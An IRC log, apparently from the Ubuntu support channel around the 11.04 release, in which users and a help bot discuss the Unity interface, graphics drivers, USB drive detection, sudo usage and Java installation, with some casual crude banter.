[22:00] <Jordan_U> Rehan: Getting any device name wrong could have severe consequences. If this ends up killing your cat it's not my fault :)
[22:00] <jibadeeha> Simkin, on mine it is the third one from the bottom
[22:00] <Simkin> jibadeeha: bottom of what
[22:01] <mikedddd> @zvacet can it be native to Ubuntu 10.04.1
[22:01] <Casper76> test
[22:01] <jibadeeha> Simkin, unity dockbar or whatever they call it
[22:01] <Simkin> jibadeeha: ok, now i see it
[22:01] <keito> I know alt+f1 opens the menu, but I still have no idea how to execute the same action via a single command
[22:01] <Simkin> jibadeeha: this is retarded.
[22:01] <zvacet> mikedddd: sudo dpkg --purge <packagename>
[22:01] <Rehan> Jordan_U: oh no worries, i'm a n00b to linux but not a n00b to doing due diligence when messing around on computers :P
[22:01] <jibadeeha> Simkin, howcome?
[22:01] <Jordan_U> Rehan: Give the virtual machine 2 GiB of RAM rather than the default (I think 512 MiB).
[22:01] <Casper76> .
[22:01] <Simkin> jibadeeha: it's not even on the screen all the time, it doesn't have a preview
[22:02] <Rehan> Jordan_U: thanks again, will be back in a bit!
[22:02] <Jordan_U> Rehan: You're welcome.
[22:02] <vorlov> anyone?
[22:02] <jibadeeha> Simkin, yeah i miss the preview - just noticed that, so perhaps i didn't miss it that much
[22:02] <mikedddd> @zvacet hm... removing request to remove ffmpeg which isn't installed
[22:02] <vorlov> experience with aws?
[22:02] <mikedddd> but apt show ffmpeg shows me the package
[22:02] <Pici> vorlov: #ubuntu-server and/or #ubuntu-cloud would be better places to ask.
[22:02] <uabn93> Simkin: Btw, have you ever tried Dolphin Emu on your setup?
[22:03] <vorlov> Pici:  thank u  much!!
[22:03] <zvacet> mikedddd:  try  updatedb
[22:03] <jibadeeha> Simkin, it is easier to use though by clicking on it and moving windows between desktops rather than working with a tiny preview pager as was the case in 10.10
[22:03] <Braiam> zvacet: it'll take a while, so wait
[22:03] <miceiken> Problem: I just installed mysql-server and when I try to do 'mysql -u root' I get "Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock'
[22:04] <Osmodivs> is there a way to copy-paste text o Xchat?
[22:04] <zvacet> Braiam: yes,I know but maybe updating data base solve question
[22:04] <usr13> Osmodivs: Sure
[22:04] <Guybrush88> osmodivs, ctrl+c to copy and crtl+v to paste
[22:05] <pattysmatty> how can i get into my routers interface?
[22:05] <Osmodivs> Guybrush88> osmodivs, ctrl+c to copy and crtl+v to paste
[22:05] <usr13> pattysmatty: go to it's IP
[22:05] <pattysmatty> how do i figure that out?
[22:05] <Osmodivs> Guybrush88, thx
[22:05] <Stereocaulon> pattysmatty, RTFM
[22:05] <usr13> pattysmatty: They usually all have web based interface
[22:05] <usr13> pattysmatty: route -n
[22:05] <jelg> Is there a known problem with NVidia drivers for Natty?
[22:05] <BrainVirus> pattysmatty:  what is the brand
[22:05] <Guybrush88> osmodivs, you're welcome
[22:05] <twilno> ghostOS
[22:06] <zvacet> !language | Stereocaulon
[22:06] <ubottu> Stereocaulon: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[22:06] <usr13> pattysmatty: Open a terminal and type  route -n   hit enter.
[22:06] <pattysmatty> usr13, thanks
[22:06] <Stereocaulon> zvacet, Read the Friendly Manual, what's shocking about that? ;-)
[22:06] <suigeneris> !grub2
[22:06] <ubottu> GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[22:06] <takeshi> guys, gnome 3 depends of unity? or i can install it without it?
[22:06] <pattysmatty> stereocaulon, you'r enot suppose to say rtfm.... if you want to say that go to ##freebsd
[22:07] <zvacet> Stereocaulon: yes,sure  8-)
[22:07] <blackbit> takeshi I heard gnome3 + unity might cause problems
[22:07] <guntbert> !gnome3 | takeshi
[22:07] <ubottu> takeshi: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[22:07] <Osmodivs> Stereocaulon, XD NOTHING!! ROTFL
[22:07] <Simkin> jibadeeha: my biggest problem with this new interface is you can't just browse all the apps
[22:07] <takeshi> then i will wait for ubuntu 11.10 :P
[22:07] <Simkin> jibadeeha: why did they take away the fold out menu!?
[22:07] <takeshi> Thanks guys
[22:08] <jibadeeha> Simkin, yeah i find myself having to depend on keyboard shortcuts and alt+f2 more often
[22:08] <Stereocaulon> pattysmatty, sorry about that. What I meant was that you can probably find it in your router's manual. Mostly a router has it's main interface page at 192.168.1.1, 192.168.1.255 or 10.0.0.1
[22:08] <Simkin> jibadeeha: yes, that's how i like to work too.
[22:08] <Simkin> jibadeeha: menu is only useful when you want to "browse"
[22:08] <Simkin> jibadeeha: and now it's gone!
[22:08] <ChR0n05> so is there any way to get the menu to open in gnome2 by issuing a command?
[22:10] <ChR0n05> pattysmatty, or 192.168.0.1
[22:10] <jibadeeha> Simkin, i never really liked gnome2 menus though
[22:11] <Stereocaulon> ChR0n05, yes, that is also used widely, though I 192.168.1.1 is more common for some reason...
[22:11] <BlaDe^> my external USB hdd doesn't seem to get detected on ubuntu -- any ideas why?
[22:11] <ChR0n05> Stereocaulon, last 3 routers I've had have been .0.1
[22:11] <ChR0n05> jibadeeha, I quite like gnome2 menu
[22:11] <Simkin> jibadeeha: well it was better than what we have now.
[22:12] <Simkin> this is unusable
[22:12] <Simkin> oh well
[22:12] <ChR0n05> Simkin, agreed
[22:12] <Simkin> ChR0n05: you also feel this is a terrible move?
[22:12] <Simkin> ChR0n05: to me, it's even worse than when kde went to kde 4.x from 3.5.10
[22:13] <Simkin> and that was seriously bad!
[22:13] <ChR0n05> I don't like navigating my apps in such a way no
[22:13] <ChR0n05> I really like gnome3's indicator
[22:13] <Stereocaulon> ChR0n05, fair enough, I have configured about 12 different models, most of them aimed at home users did not use 192.168.0.1 as main address. May just be coincidence though, think nothing of it.
[22:13] <jibadeeha> Simkin, KDE 3.5.10 was sublime
[22:13] <aj00200> HaHas anyone else had a problem with LibreOffice Writer being unstable?
[22:13] <ChR0n05> I think the unity launcher should be movable and not always extend
[22:13] <Simkin> jibadeeha: kde 4.x is getting there again.. but i'm starting to doubt it will actually make it there.
[22:13] <cheapie> Is anybody here experienced with compiling software? I'm getting this error: http://paste.ubuntu.com/602991/
[22:13] <jelg> Natty on my PC does not accept any input, e.g. mouse clicks etc (the mouse cursor is there but no actions)
[22:13] <ChR0n05> Stereocaulon, yeah, depends on model.
[22:14] <kyle_> using Banshee media player, connecting to DAAP server, when i exit the DAAP record is removed and i have to add again. how do i make it stay?
[22:14] <jibadeeha> Simkin, i hope they get back on track ... another interface i really liked was Amarok 1.4 and then they ruined it with Amarok 2.0 .. not sure if that has improved, but wish they had left it alone
[22:14] <Kartagis> unity?
[22:14] <ChR0n05> Simkin, I leep trying to like kde 4.6, but it's just too messy, configurations are all over the place
[22:14] <minimec> BlaDe^: after you plugged it try 'dmesg | tail' in a console. That may give you some information.
[22:14] <buck_work> How do I disable Compiz in 11.04?
[22:14] <Stereocaulon> BlaDe^, does your drive show up in grep "USB" /var/log/messages
[22:14] <Osmodivs> Kardos_, unity sucks!!!
[22:15] <Kardos_> really?
[22:15] <Osmodivs> Kartagis, Unity sucks!!!
[22:15] <Kardos_> you needed to tell me that?
[22:15] <cheapie> buck_work: Log in with "Ubuntu Classic (No Effects)" or "Unity 2D"
[22:15] <Osmodivs> Kardos_, Sorry, wrong nick
[22:15]  * Kardos_ stuffs a dead hooker in Osmodivs's car
[22:15] <buck_work> Ahhhhh.
[22:15] <BlaDe^> minimec nothing in dmesg about it
[22:15] <BlaDe^> Stereocaulon messages doesn't exist on natty
[22:15] <buck_work> Time for another logout then. Thanks, cheapie.
[22:15]  * ChR0n05 never gets any answers anymore
[22:16] <Kartagis> Osmodivs: what is it? apparently I don't have the hardware tu run it
[22:16] <TheBritishEditor> I need desperate Ubuntu help
[22:16] <Kartagis> ask?
[22:16] <TheBritishEditor> I'm having some severe video driver issues
[22:16] <Stereocaulon> BlaDe^, in that case my knowledge is outdated. Does it show up in lsusb?
[22:16] <TheBritishEditor> I installed a driver for my ATI card last night via command line
[22:16] <Kartagis> !unity
[22:16] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[22:16] <TheBritishEditor> And, being a noob
[22:16] <Osmodivs> Kartagis, I dunno, What happen? I just got here, tell me your problem
[22:16] <TheBritishEditor> I want to know how to remove it
[22:16] <cheapie> TheBritishEditor: What's wrong?
[22:16] <TheBritishEditor> As it broke EVERYTHING
[22:17] <ray24> I just reformatted my ubuntu and  still cannot access files on my secondary hd
[22:17] <Stereocaulon> !enter | TheBritishEditor,
[22:17] <ubottu> TheBritishEditor,: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[22:17] <andrewsmith1986> Ubuntu on mac == trouble. :/
[22:17] <cheapie> TheBritishEditor: Is it a Debian package?
[22:17] <minimec> BlaDe^: if it is somehow recognized it should give you the /dev/sdX device. Is it possible to have external power for that hdd. Try that too.
[22:17] <swazzy> can some one help me i have no border to close or minimize can some one help me fix it i have ubuntu 11.04 unity
[22:17] <Osmodivs> ¡alsa
[22:17] <TheBritishEditor> I'll remember to do that, sorry.
[22:17] <Kartagis> Osmodivs: I just upgraded to natty and when I rebooted, I got a message saying I don't have the hardware tu run unity
[22:17] <A-KO^> Greetings: for some reason PHP isn't updating on lucid lynx though I'm sure there's a newer version of PHP than 5.3.2 in the distro, how can I check for this?
[22:17] <TheBritishEditor> It's a terrible habit of mine
[22:17] <aj00200> Has anyone else had a problem with LibreOffice Writer being unstable? Possibly with OpenJDK? I'm wondering if it is my setup or an overall problem.
[22:17] <LjL> !info php5 | A-KO^
[22:18] <ubottu> A-KO^: php5 (source: php5): server-side, HTML-embedded scripting language (metapackage). In component main, is optional. Version 5.3.5-1ubuntu7.1 (natty), package size 1 kB, installed size 20 kB
[22:18] <bikcmp> Hi all, i'm following https://help.ubuntu.com/community/PostfixBasicSetupHowto and getting a quite odd error: 421 4.3.0 collect: Cannot write ./dfp43LDkTX006283 (bfcommit, uid=0, gid=127): No such file or directory
[22:18] <LjL> A-KO^: you're right, there is 5.3.5. maybe you put it on hold for some reason and forgot?
[22:18] <bikcmp> (when I telnet to localhost/25)
[22:18] <BlaDe^> minimec nope its a passport drive, completely usb powered
[22:18] <A-KO^> LjL: nope, but how would I check that?.
[22:18] <cheapie> TheBritishEditor: It's OK, as long as you try to remember not to... Now, as for that video driver, do you know if it was a Debian package (.deb file)?
[22:19] <LjL> A-KO^: tell me the output of dpkg -l php5 please
[22:19] <BlaDe^> minimec /dev/sda, sda1, sda2 and sda5 exist
[22:19] <TheBritishEditor> I don't know if it is or not
[22:19] <Kartagis> bikcmp: uid 0 and gid 127 can't write to that directory
[22:19] <TheBritishEditor> I don't think it is.
[22:19] <TheBritishEditor> AH THERE I WENT AGAIN
[22:19] <alanonymous> is gnome3 really not customizable?  For instance, moving launcher panel, allowing multiple instances of something like chrome to be launched from launcher, etc?
[22:19] <A-KO^> Name php5 Version 5.3.2-1ubuntu4 Description server-side, HTML-embedded scripting language
[22:19] <TheBritishEditor> I downloaded it as a .run file, made it an executable, installed it, and then everythings broken <_<
[22:19] <LjL> TheBritishEditor: that's a recipe for trouble :\
[22:19] <Osmodivs> Kartagis, That's a new one.
[22:20] <cheapie> TheBritishEditor: Well, that's not good...
[22:20] <minimec> BlaDe^: that is probably your internal harddrive. It may be 'sdb' ...
[22:20] <Stereocaulon> BlaDe^, This only shows that the external HDD is not recognized aas an external HDD, but does it show up in the list of usb devices or not?
[22:20] <cheapie> TheBritishEditor: I'll go do a bit of research and bet back to you.
[22:20] <TheBritishEditor> I'm only a few days into Ubuntu, a fresh install isn't out of the question, but I've had so much flipping trouble with my graphics that I might just switch distros
[22:20] <Casper76> what graphics card?
[22:20] <TheBritishEditor> Or go back to my cold, lonely Windows 7 installation who hides at the bottom of GRUB
[22:20] <BlaDe^> Stereocaulon how do I get a list of usb devices?
[22:21] <bencc> how do I clear a file (nginx error.log file) ?
[22:21] <ChR0n05> TheBritishEditor, did you try installing the driver from the repos?
[22:21] <Stereocaulon> BlaDe^, try lsusb
[22:21] <BlaDe^> did that, only shows 4 hubs
[22:21] <TheBritishEditor> ATI Technologies Inc RV770 [Radeon HD 4870]
[22:21] <BlaDe^> my drive lights up so it definitely has power
[22:21] <BlaDe^> and it works on windows
[22:21] <minimec> BlaDe^: External dardrives should be recognized without problem ... Should be recognized as mass storage device.
[22:21] <TheBritishEditor> I tried the driver recommended to me from the driver manager
[22:21] <ChR0n05> bencc, overwrite it?
[22:21] <LjL> A-KO^: err, i needed the first two letters at the beginning of the line
[22:21] <BlaDe^> minimec it used to work on 10.04
[22:21] <TheBritishEditor> But it still breaks everything
[22:22] <ChR0n05> TheBritishEditor, by break what do you mean, what exactly happens?
[22:22] <zvacet> TheBritishEditor: wait to see if someone help you removing it and after that try to install from system>additional drivers
[22:22] <Osmodivs> ¡drivers
[22:22] <Osmodivs> :(
[22:22] <Stereocaulon> BlaDe^, that's odd indeed. Did you already try a different port? Some ports might be able to provide more power than others. If in doubt use a port on the back, not the front.
[22:22] <cheapie> TheBritishEditor: I found some instructions that might help. The first step is to run sudo apt-get remove --purge fglrx*
[22:22] <bencc> ChR0n05: I tried "sudo cat /dev/null > /usr/local/nginx/logs/error.log" but I'm getting "Permission Denied"
[22:22] <alanonymous> can someone explain to me how to move the launcher panel to the bottom of the screen in gnome 3?
[22:22] <TheBritishEditor> zvacet, I already tried to do it with that. Also, it breaks as in I can't use dual moniters, can't play any game, can't do anything graphical
[22:22] <BlaDe^> Stereocaulon it's a laptop, they're all on the side
[22:23] <cheapie> Osmodivs: Did you mean !drivers?
[22:23] <s3r3n1t7> bencc, the cat is run as root, the pipe however is run as your user
[22:23] <ChR0n05> bencc, maybe nginx has a lock on it?  I'm not that familiar with it
[22:23] <zvacet> TheBritishEditor: now I see your above post sorry for been late
[22:23] <cheapie> TheBritishEditor: Did you run that command that I told you to yet?
[22:24] <TheBritishEditor> Ok, I ran that command
[22:24] <bencc> s3r3n1t7: do I need two sudo?
[22:24] <Osmodivs> cheapie,  Yeah.
[22:24] <ChR0n05> bencc, try switching to root
[22:24] <cheapie> TheBritishEditor: OK. Please wait a second.
[22:24] <s3r3n1t7> bencc, sudo -i to create a root shell, execute the command without sudo, then logout of the shell again
[22:24] <TheBritishEditor> Sure, take your time
[22:24] <Stereocaulon> BlaDe^, does a normal USB pen drive get detected, or another USB gizmo?
[22:24] <ChR0n05> s3r3n1t7, or sudo su ?
[22:25] <BlaDe^> Stereocaulon usb mouse works
[22:25] <s3r3n1t7> ChR0n05, no, that doesn't setup his env correctly. -i makes sure it's done properly, check the sudo guides for that
[22:25] <minimec> BlaDe^: I would do a complete shutdown, unplug that harddisk, do a clean boot and try again without having other USB devices connected.
[22:25] <Stereocaulon> BlaDe^, so we can rule out an unsupported chipset then :-)
[22:25] <ChR0n05> s3r3n1t7, so what does sudo su do then?  I've used that to switch to root before
[22:25] <BlaDe^> minimec it's a fresh install and has been rebooted once already
[22:26] <s3r3n1t7> ChR0n05, it also creates a root shell, but it doesn't do any sort of checking and it can break your enviroment for using sudo with other programs.
[22:26] <zvacet> ChR0n05 : sudo -i if you want to switch to root
[22:26] <cheapie> TheBritishEditor: OK. Please run the four commands specified here: http://paste.ubuntu.com/602997/
[22:26] <ChR0n05> s3r3n1t7, good to know
[22:26] <minimec> BlaDe^: then again dmesg or dmesg |tail should give you some info aobut the device, after you plugged it.
[22:26] <Angelic> I keep getting my wireless networks greyed out
[22:26] <ChR0n05> zvacet, cheers ;)
[22:26] <Stereocaulon> BlaDe^, if what minimec says works, you might have a power issue when it comes to your USB ports.
[22:27] <Angelic> I can't connect to wireless for some reason -- however it shows the wireless networks but the wireless networks that I want to connect to are grayed.
[22:27] <BlaDe^> dmesg | tail doesn't show anything
[22:27] <zvacet> ChR0n05:  :)
[22:27] <BlaDe^> I don't think it's a power issue, it works on windows... on the same laptop..
[22:27] <BlaDe^> *** dmesg | tail shows stuff about wlan but nothing when hdd is plugged/unplugged
[22:27] <ChR0n05> when would one want to use sudo su then?
[22:27] <jrib> ChR0n05: never
[22:27] <Stereocaulon> BlaDe^, with both devices attached? Hmm...
[22:27] <TheBritishEditor> cheapie: I'm getting "No such file or directory" with the first command
[22:28] <minimec> Stereocaulon: BlaDe^: That's what I was thinking too... --> power
[22:28] <ChR0n05> jrib, why is it available then?
[22:28] <cheapie> TheBritishEditor: That's OK. Just keep going with the others. Ignore any errors.
[22:28] <ChR0n05> jrib, why not remove it as an option?
[22:28] <jrib> ChR0n05: what do you mean by "available"?  jumping off bridges is available too...
[22:28] <s3r3n1t7> ChR0n05, sudo su is not using an option. It's a program you're passing to sudo
[22:28] <ChR0n05> jrib, i mean why does it do anything, there is obviously a reason for it
[22:29] <jrib> ChR0n05: sudo runs programs.  su is a program
[22:29] <jrib> ChR0n05: that doesn't mean it's a good idea to run it
[22:29] <ChR0n05> yeah, fair enough, just curious
[22:29] <Chipzzz> chR0n05: seems like sudo su is not an appropriate topic of conversation here
[22:29] <ChR0n05> Chipzzz, well we kind of arrived here, so now I'm curious
[22:30] <jrib> ChR0n05: to properly obtain a root shell you should use « sudo -i »
[22:30] <cheapie> ChR0n05: It's like duct tape being able to hold things together. It just does that, it wasn't programmed to.
[22:30] <ChR0n05> jrib, yeah that has been advised
[22:30] <Stereocaulon> BlaDe^, try to see if the BIOS/(U)EFI detects your HDD as such, when you boot with both mouse and hdd attached.
[22:30]  * ChR0n05 would like to clarify, he doesn't need to use sudo su and hasn't done so
[22:30] <Chipzzz> Chr0n05: I arrived at the same conclusion by the same method ;)
[22:30] <cheapie> I wonder what's taking TheBritishEditor so long...
[22:30] <iceroot> ChR0n05: you can use cat foo | grep bar   too  its available but stupid
[22:30] <minimec> BlaDe^: Do you have a powerd USB hub that you could connect between the HDD and the laptop? THat might also help.
[22:31] <BlaDe^> minimec nope
[22:31] <kesi> hi all, I'm trying to figure out why my cpu is at 100% for the last hour.  Xorg is using 44% and vino server is using 25% and I don't know why
[22:31] <TheBritishEditor> cheapie: Got errors on every single one of those commands.
[22:31] <BlaDe^> but it works on windows so it can't be a power issue, can it?
[22:31] <ChR0n05> iceroot, I've seen tutorials from years ago that recommended using sudo su
[22:31] <cheapie> TheBritishEditor: That's OK. Try rebooting and see if your issues go away.
[22:31] <iceroot> ChR0n05: sudo su is the wrong way
[22:31] <belak> Is there a way to remove memtest and the recovery kernel from the boot menu?
[22:31] <TheBritishEditor> cheapie: Alright.
[22:31] <ChR0n05> iceroot, those tutorials were probably wrong
[22:31] <iceroot> ChR0n05: doesnt matter if some "noob" peolpe suggest sudo su
[22:32] <ChR0n05> i've seen lots of tutorials use sudo gedit instead of gksudo gedit too
[22:32] <iceroot> ChR0n05: i have seen tutorial using cat foo | grep bar too
[22:32] <Stereocaulon> BlaDe^, actually it can still be a power issue, some power management works better on Windows than Linux, if your chipset is only partially supported. If you have an Intel chipset, you should be allright though,
[22:32] <ChR0n05> iceroot, lol
[22:32] <iceroot> ChR0n05: real tutorials suggest sudo vim instead of sudo/gksudo gedit :)
[22:32] <jmrkill3rgh0st> hi
[22:32] <BlaDe^> it's an amd chipset, Stereocaulon
[22:32] <bikcmp> Kartagis: 21:19:15  < Kartagis> bikcmp: uid 0 and gid 127 can't write to that directory
[22:32] <bikcmp> Kartagis: how can I fix that?
[22:32] <ChR0n05> iceroot, no emacs
[22:33] <zvacet> ChR0n05:  read https://help.ubuntu.com/community/RootSudo
[22:33]  * ChR0n05 ducks for cover
[22:33] <cheapie> iceroot: I personally prefer nano, but whatever...
[22:33] <belak> Let's not start an editor war...
[22:33] <belak> cheapie: yeah, especially since nano actually has syntax hilighting
[22:33] <Stereocaulon> BlaDe^, AMD is quite general as well, but if it's a really new latop, well...
[22:33] <iceroot> ChR0n05: but back to topic, sudo su is wrong because its setting the environment wrong
[22:33] <ChR0n05> cheapie, yeah, I use nano when staying within the confines of a terminal
[22:33] <ChR0n05> iceroot, yeah, I know that much, I mean to learn why it is wrong
[22:33] <Stereocaulon> BlaDe^, latop => la>p<top
[22:34] <cheapie> belak: I just like how much easier nano is to use. I have never managed to figure out vim.
[22:34] <ChR0n05> zvacet has psoted a link for me
[22:34] <ChR0n05> so, anyone know how to open gnome2 menu via a single command?
[22:34] <belak> cheapie: personally I like vim. It's amazing, but the learning curve sucks.
[22:34] <swazzy> plus i can't move my windows
[22:34] <gkx> Hi there. I'm using NVidia on Natty Narwhal, and the world appears to be crashing down on me. Can someone help?
[22:34] <RavenHursT> Say I wanted to run a command at the end of the boot sequence on my ubuntu server.. what file would I put that in?
[22:35] <minimec> BlaDe^: I would do tests like that. I don't see any reason for that HDD not to work with a standard ubuntu install. It should be recognized as simple 'mass storage device'. Only thing I see is a 'power' problem. In that case dmesg may not see the device. In all other cases, the system should see the device and give you some info with 'dmesg | tail' after you plugged the HDD.
[22:35] <Stereocaulon> cheapie, just remember that nano is not available by default on all *nix systems, vi is, to my knowledge.
[22:35] <belak> cheapie: http://unix.rulez.org/~calver/pictures/curves.jpg
[22:35] <RavenHursT> Like.. remember back in the days of AUTOEXEC.BAT?
[22:35] <cheapie> belak: The only editor I use besides nano is emacs, and that's just for dunnet... Anyway, yeah, that's a little off topic...
[22:35] <Guybrush88> gkx, have you upgraded your drivers?
[22:35] <gkx> I don't know how. :) Or, at least, I tried and it didn't seem to work.
[22:35] <cheapie> gkx: What's happening, exactly?
[22:35] <AdmV0rl0n> jeez. I am so hating unity.
[22:35] <RavenHursT> what would be the "equivalent" of AUTOEXEC.BAT in Ubuntu?
[22:35] <Mitchell|2> Hey... can someone help me? Just tried installing 11.04 on my intel macbook... it froze, rebooted it... now it wont install ubuntu, and the windows partition gives a blue screen and won't boot.
[22:35] <BlaDe^> minimec ok np
[22:36] <bindi> RavenHursT: rc.local?
[22:36] <Stereocaulon> belak, lol
[22:36] <gkx> cheapie: I load Natty Narwhal off of dual boot, and it gives me a black screen
[22:36] <cheapie> !classic | AdmV0rl0n
[22:36] <ubottu> AdmV0rl0n: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[22:36] <cheapie> gkx: After or before you log in?
[22:36] <gkx> cheapie: I'm running failsafe graffics right now
[22:36] <gkx> Before
[22:36] <RavenHursT> bindi: ok.. let me check that out.. btw.. rc.. is that the same acronymn that's used in .bashrc?
[22:36] <ErikM_> hello everybody
[22:36] <cheapie> gkx: Are the drivers installed?
[22:37] <gkx> Which drivers?
[22:37] <Stereocaulon> Hi ErikM_ :-)
[22:37] <bindi> RavenHursT: probably, i havent bothered to look up what they even mean :p
[22:37] <cheapie> gkx: Well, does anything show up in the additional drivers window?
[22:37] <Kartagis> bikcmp: you may want to ask in #postfix or #ubuntu-server
[22:38] <gkx> cheapie: It's really hard to work with my graphics right now. Everything is in the wrong resolution, which is a graphics problem I struggled with on a regular basis on 10.10
[22:38] <ErikM_> does any one know any workaround for the nvidia driver issue being installed but not in use? :)
[22:38] <gkx> cheapie: So, to answer your question, I can't quite access that
[22:38] <tenochslb> I am hating banshee, any idea how to make i tunes podcasts work?
[22:38] <Stereocaulon> ErikM_, did you check under System => Administration => Extra drivers?
[22:39] <cheapie> gkx: Can you press Alt+F2 and type jockey-gtk, and press enter?
[22:39] <ErikM_> Stereocaulon: jepp... 173 installed and not in use, even if I switch to the newest one... same result
[22:40] <gkx> cheapie: Did so now, it didn't appear to do anything.
[22:40] <RavenHursT> bindi: Found it.. "Run Commands" or RUNCOM... http://pastebin.com/eL4rsxvG
[22:40] <cheapie> gkx: As in nothing appeared?
[22:40] <gkx> Yes
[22:40] <Stereocaulon> ErikM_, did you reboot after installing the proprietary drivers?
[22:40] <cheapie> gkx: Are you typing on the computer with the problem?
[22:40] <bindi> RavenHursT: cool :)
[22:41] <gkx> cheapie: Yes
[22:41] <ErikM_> Stereocaulon:  jepp, after every new install, no effect
[22:41] <cheapie> gkx: Do you have another computer available?
[22:41] <Stereocaulon> ErikM_, which GPU do you have?
[22:41] <xangua> tenochslb: those podcast you are suscribed in itunes surely have a web, and an atom/rss feed you can suscribe to
[22:41] <gkx> cheapie: Yes.
[22:41] <lapion> how many people in here want to "sudo aptitude purge unity" ????
[22:42] <cheapie> gkx: Do you think you can go to that computer and chat from there so we can switch to text mode on this one?
[22:42] <lapion> unity is really beginng to bug me in a irky way..
[22:42] <xangua> !ot | lapion
[22:42] <ubottu> lapion: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[22:42] <ErikM_> Stereocaulon: GeForce 9500GT
[22:42] <gkx> Yeah, let me just figure out how to IRC on a mac. :P Shouldn't take too long
[22:42] <Stereocaulon> ErikM_, Hmm, how did you go about in installing the drivers?
[22:42] <lapion> xangua, that is totally ontopic for ubuntu..
[22:43] <cheapie> gkx: Try webchat.freenode.net
[22:43] <Jordan_U> lapion: The topic is Ubuntu *support*.
[22:43] <Pici> lapion: This is a support channel, not somewhere for complaining.
[22:43] <dfclark_> Any help on installing Java on Ubuntu 10.10?
[22:44] <gkx2> cheapie: Hurrah!
[22:44] <cheapie> gkx2: Are you on the working computer now?
[22:44] <Stereocaulon> dfclark_, What flavour of Java do you want to install?
[22:44] <dfclark_> jdk 1.6
[22:44] <dfclark_> yes
[22:44] <gkx2> cheapie: Yes
[22:44] <lapion> well how do I purge unity out of natty without uninstalling the whole ubuntu package.. or how can I modify unity to suit my own way..
[22:44] <Gyrth> the ubuntu scrolling bar has changed. i liked the hidden bar.
[22:45] <Jordan_U> !ubuntu-desktop | lapion
[22:45] <ubottu> lapion: k/ed/x/l/ubuntu-desktop is a metapackage. It depends upon other packages and brings them in; you can safely remove it, but it is recommended that you re-install it when upgrading.
[22:45] <lapion> that is ubuntu-desktop
[22:45] <ErikM_> Stereocaulon: applications > system > additional drivers > there are 2 driver versions - 173 and version current), klicking of the one NOT activated starts the install, after installing andd verifying it being installed and activated I reboot as prompted
[22:45] <cheapie> gkx2: OK. On the broken computer, press Ctrl+Alt+F1. It should prompt you for your username and password.
[22:45] <tenochslb> xangua, yes but then what is the point of having an add a podcast button on Banshee. Plus i am trying to add the podcast to my mp3 player.
[22:46] <lapion> so if I uninstall ubuntu-desktop I should be abole to safely purge unity without par default uninstalling all other ubuntu-desktop packages ?
[22:46] <pattysmatty> when u have 400w power supply
[22:46] <pattysmatty> along with 2 dual monitors all energy efficient on 24/7
[22:46] <cheapie> gkx: I see you changed your username on me... anyway, on the broken computer, press Ctrl+Alt+F1. It should prompt you for your username and password.
[22:46] <pattysmatty> what's cost of uphold?
[22:46] <koppe> Considering upgrading to newest version of Ubuntu, but was wondering what
[22:46] <cheapie> pattysmatty: This is for the Ubuntu OS, not computer companies that make computers with it.
[22:47] <Stereocaulon> ErikM_, does     gksudo /usr/bin/nvidia-settings   give an error, or does it display the nVidia control-panel?
[22:47] <koppe> 's the status with X.  Heard they considered replacing it, but really like it...
[22:47] <xangua> lapion: ubuntu-dektop is just a metapackage, will do nothing if you uninstall it
[22:47] <erik333> lapion, you can switch to ubuntu-classic in gdm as well (just log out) or install some other DE/wm such as kubuntu-desktop
[22:48] <chrometiger> ok, i downloaded 11.04  installed it, no errors that I saw and when it started to boot for the first time, as soon as it goes past Grub loader  ubuntu hangs at a black screen with blinking cursor,   what could be wrong
[22:48] <dfclark_> I downloaded the JDK package from Oracle, then followed their instructions to install.  But what env vars have to be set, and where, so that other tools, etc, can use the JDK?
[22:48] <ErikM_> Stereocaulon: brings up the nvidia X server settings
[22:48] <xangua> !java
[22:48] <xangua> dfclark_: or you could have installed it from repository
[22:48] <ubottu> To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[22:48] <erik333> since unity seems to be the default canonical UI from now on, it might be wise to keep it around
[22:49] <Stereocaulon> dfclark_, openjdk-6 should install just fine or are you trying to install (gasp...) Oracle JDK 1.6?
[22:49] <ChR0n05> what command shows main menu in gnome2?
[22:49] <trentg> ChR0n05, alt-f1
[22:49] <ChR0n05> trentg, terminal command ;)
[22:50] <Stereocaulon> ErikM_, if that screen shows the Xserver config, the driver is installed and used. What NVIDIA Driver Version do you see? 173.[something]? or a newer version?
[22:50] <lapion> how do I get visual effects back in apearance preferences, you see I would like the old extra effects.. also I would like to know how I can save a session..
[22:50] <dfclark_> Oracle (nee Sun) JDK.  Should I use something different on Ubuntu?
[22:50] <Charismaa> how cute i get tossed into a channel automatically
[22:51] <lapion> you see it is a real pain in the ass to start all browsers all chat programs all terminal sessions along with p2p sharing programs each time..
[22:51] <teemo> im on ubuntu 11.04, im trying to find instances of the currently running apps, coz everytime i try to start skype, it says there is another instance of it running
[22:51] <lapion> takes half an hour of my time..
[22:51] <ErikM_> Stereocaulon: 173.14.30 but if it is in use, why is the system so damn slow? :)
[22:51] <shcherbak> teemo: htop
[22:52] <Stereocaulon> dfclark_, I've tried to install the Oracle one, to no avail. For simple projects openjdk-6 will do just fine. For the more complex ones, especially for closed libs, Oracle JDK might indeed be required...
[22:52] <shcherbak> teemo: Or top, ps, pgrep, pstree, and some more
[22:52] <sburwood1> Someone wanna help me with a problem burning CD / DVD?
